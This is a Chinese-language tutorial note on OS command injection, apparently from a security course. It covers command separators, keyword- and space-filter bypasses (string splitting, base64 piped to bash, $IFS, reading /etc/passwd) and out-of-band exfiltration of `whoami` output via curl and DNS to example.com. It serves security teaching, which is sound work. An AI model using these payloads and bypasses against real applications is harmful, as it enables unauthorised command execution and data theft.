【漏洞】任意命令执行漏洞

前言

任意命令执行(Arbitrary Command Execution)
远程命令执行(Remote Command Execution)

漏洞原理

  • 代码中出现了可以执行Shell命令的代码,且被执行的Shell命令可以通过参数传递

漏洞利用前提

  • 可以通过请求参数传递需要执行的代码

常见业务

  • Ping测试

漏洞利用

打断符号,用于末尾拼接自定义命令

;(Linux Shell、Windows PowerShell)、&(Windows CMD):无论前序命令是否执行成功,都会执行后续命令
|:管道符,将前序命令的输出作为后续命令的输入
&&:逻辑与,前序命令执行成功才会继续执行后续命令
||:逻辑或,前序命令执行失败才会继续执行后续命令

1
ping 127.0.0.1 | <shell>
  • Linux Shell 中强制将命令执行,然后作为上一个命令的参数,从报错中获取结果
1
ping `<shell>`

绕过

关键词过滤

  • 通过字符串变量拼接绕过
1
a="whoam"; b="i"; $a$b
1
a="whoam"; b="i"; ${a}${b}
  • 通过偶数个引号分隔关键词
1
whoam''i
1
whoam''i
  • 通过斜杠分隔关键词
1
whoam\i
  • 通过空变量分隔关键词
1
whoam{x}i
  • 改为使用Base64编解码
1
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
  • 文件名改为使用通过通配符
1
cat /etc/passw*

空格过滤

  • 内部域分隔符(IFS, Internal Field Separator),也就是 Linux Shell 中内置的分隔符变量
  • 改为使用$IFS作为分隔符
1
cat${IFS}/etc/passwd
1
cat$IFS$1/etc/passwd
  • 改为使用制表符作为分隔符
1
cat	/etc/passwd
  • 读取文件时,改为使用重定向作为分隔符
1
cat</etc/passwd
1
cat<>/etc/passwd

无回显绕过

  • HTTP带外
1
curl http://example.com/`whoami`
  • DNS带外
1
ping `whoami`.example.com

完成

参考文献

哔哩哔哩——千锋教育网络安全学院